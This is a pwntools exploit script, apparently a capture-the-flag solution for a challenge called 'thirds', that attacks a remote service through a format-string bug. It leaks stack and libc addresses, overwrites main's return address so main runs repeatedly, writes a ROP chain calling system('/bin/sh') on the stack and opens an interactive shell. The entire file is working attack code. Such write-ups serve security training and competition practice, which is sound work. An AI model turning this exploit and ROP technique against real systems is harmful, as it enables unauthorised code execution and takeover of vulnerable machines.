requires pwntools
from pwn import * # handout = "/mnt/w/ctf/gaslightctf2026/thirds/handout" # io = process([f"{handout}/ld-linux-x86-64.so.2", "--library-path", handout, f"{handout}/thirds"], cwd=handout, stdin=PTY, stdout=PTY, stderr=PTY) HOST = "e2b31333-949b-4d06-960c-604a5de3c07c.play.gaslightctf.cooking" io = remote(HOST, 31337, ssl=True) # read both the caller frame ptr AND main's return addr io.recvuntil(b"1> ") io.sendline(b"%14$p|%15$p") caller, ret_addr = map(lambda x: int(x, 16), io.recvline().split(b"|")) io.recvuntil(b"2> ") # very last byte of main's return addr ret_slot = caller - 0x98 libc_base = ret_addr - 0x2b285 # main's normal return addr format = lambda count, position: f"%{count & 0xffff}c%{position}$hn".encode() reentry = b"%130c%53$hhn" # 130 is 0x82, overwriting libc+0x2b285 to libc+0x2b282 *to call main again* # write the return io.sendline(format(ret_slot, 39)) io.recvuntil(b"3> ") # reenter main io.sendline(reentry) io.recvuntil(b"1> ") def write(address, value): for part in range(3): # redirect the stack cursor io.sendline(format(address + 2 * part, 14)) io.recvuntil(b"2> ") # write through it io.sendline(format(value >> 16 * part, 34)) io.recvuntil(b"3> ") # reenter main io.sendline(reentry) io.recvuntil(b"1> ") # points to `pop rdi; ret`` write(ret_slot + 8, libc_base + 0xfc08d) # point to libc mention of "/bin/sh" write(ret_slot + 16, libc_base + 0x1c3ed9) # point to libc mention of "system" write(ret_slot + 24, libc_base + 0x58860) # target back to a `ret` write(caller + 0x10, ret_slot + 4) # write our return back in again io.sendline(format(ret_slot + 2, 14)) io.recvuntil(b"2> ") io.sendline(b"A") # doesn't matter io.recvuntil(b"3> ") # reenter main again io.sendline(reentry) io.recvuntil(b"1> ") # libc+0x2930b points to a `ret` io.sendline(format(libc_base + 0x2930b, 53)) io.recvuntil(b"2> ") io.sendline(format((libc_base + 0x2930b) >> 16, 34)) io.recvuntil(b"3> ") io.sendline(format((libc_base + 0x2930b) >> 32, 36)) # should have launched io.interactive()